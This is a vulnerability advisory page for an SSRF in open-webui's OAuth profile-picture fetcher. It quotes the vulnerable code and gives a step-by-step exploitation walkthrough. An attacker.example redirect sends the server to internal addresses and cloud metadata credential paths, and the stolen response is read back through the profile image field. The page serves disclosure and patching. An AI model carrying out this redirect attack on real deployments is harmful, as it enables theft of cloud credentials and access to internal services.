🛡️ CVE-2026-54008 — open-webui
Description
Open WebUI: Redirect-Bypass SSRF in OAuth _process_picture_url (incomplete-fix sibling of CVE-2026-45401)
Summary
backend/open_webui/utils/oauth.py::_process_picture_url (v0.9.5, lines 1435-1470) calls validate_url(picture_url) on the initial URL only, then invokes aiohttp.ClientSession.get(picture_url, ...) without allow_redirects=False. aiohttp's default is allow_redirects=True, max_redirects=10; the function does not pass the project's AIOHTTP_CLIENT_ALLOW_REDIRECTS env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own profile_image_url field.
This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — SafeWebBaseLoader._scrape, _fetch, get_content_from_url, load_url_image, get_image_base64_from_url — none in utils/oauth.py.
Vulnerable code (v0.9.5)
backend/open_webui/utils/oauth.py, lines 1435-1470:
```python
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
if not picture_url:
return '/user.png'
try:
validate_url(picture_url) # initial URL only
get_kwargs = {}
if access_token:
get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'}
async with aiohttp.ClientSession(trust_env=True) as session:
async with session.get(picture_url, **get_kwargs,
ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
# ^^^^^^^^^^^ no allow_redirects=False
if resp.ok:
picture = await resp.read()
base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = 'image/jpeg'
return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
...
```
The function is invoked at oauth.py:1556 (new-user OAuth signup) and oauth.py:1536 (existing-user picture update on login). Neither call site re-validates after redirect-following.
backend/open_webui/retrieval/web/utils.py (v0.9.5) imports the env constant AIOHTTP_CLIENT_ALLOW_REDIRECTS at line 51 and uses it on the five paths patched by CVE-2026-45401. utils/oauth.py does not import or reference it.
Exploitation
Preconditions:
ENABLE_OAUTH_SIGNUP=trueorOAUTH_UPDATE_PICTURE_ON_LOGIN=true(common in production OAuth-IdP deployments)- Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider)
Steps:
1. Attacker hosts a redirect endpoint at http://attacker.example/r on a public IP. validate_url("http://attacker.example/r") returns True (is_global=True for public IPs).
2. Attacker sets their IdP picture claim to http://attacker.example/r.
3. Attacker signs in to open-webui via OAuth. open-webui invokes _process_picture_url("http://attacker.example/r", ...).
4. validate_url accepts the public URL. session.get("http://attacker.example/r") is invoked.
5. attacker.example responds HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags. (Or http://169.254.169.254/latest/meta-data/iam/security-credentials/, RFC1918 internal services, etc.)
6. aiohttp follows the redirect server-side. No re-validation.
7. The internal response body is read into picture, base64-encoded, and stored as profile_image_url = "data:image/jpeg;base64,..." on the attacker's account.
8. Attacker reads back via GET /api/v1/auths/. Decode the base64 payload to get the full internal response body.
Impact
Full-read SSRF, identical read-back primitive to CVE-2026-45338:
- Cloud metadata services (AWS IMDSv1 at
169.254.169.254, GCPmetadata.google.internal, Azure IMDS) → IAM credentials, managed-identity tokens - Localhost-bound services (Ollama at
:11434, Redis, Elasticsearch, internal Postgres exporters) - RFC1918 internal infrastructure not exposed to the internet
Distinction from prior CVEs
| Prior CVE | This finding | Distinguishing fact |
|---|---|---|
| CVE-2026-45338 (GHSA-24c9) | _process_picture_url had no validate_url() call at all | Fixed in v0.9.0 by adding the call. Ours is the call being insufficient because it doesn't loop over redirect targets. Different mechanism, different fix. |
| CVE-2026-45400 (GHSA-8w7q) | validate_url() had urlparse-vs-requests parser disagreement on \@ chars | Fixed in v0.9.5 by char-blocklist. Ours is post-validation redirect-following — orthogonal mechanism. |
| CVE-2026-45401 (GHSA-rh5x) | Five paths in retrieval, routers/images, utils
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability none.
Weakness class
CVE-2026-54008 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
Affected software
CVE-2026-54008 is recorded against 1 package.
- open-webui (fixed in 0.9.6)
Timeline and source
Published on 17 June 2026 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| open-webui | — | 0.9.6 |
References
Similar Threats
- Unknown CGA-48gw-49h8-c5px
- Unknown CGA-3j3w-43wh-4c9q
- Unknown CGA-2r69-w36g-jxvr
- Unknown CGA-27r7-6wp2-vv7p
- Unknown CGA-48q6-wgrm-m89m
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running open-webui?
CVE-2026-54008 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-54008 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.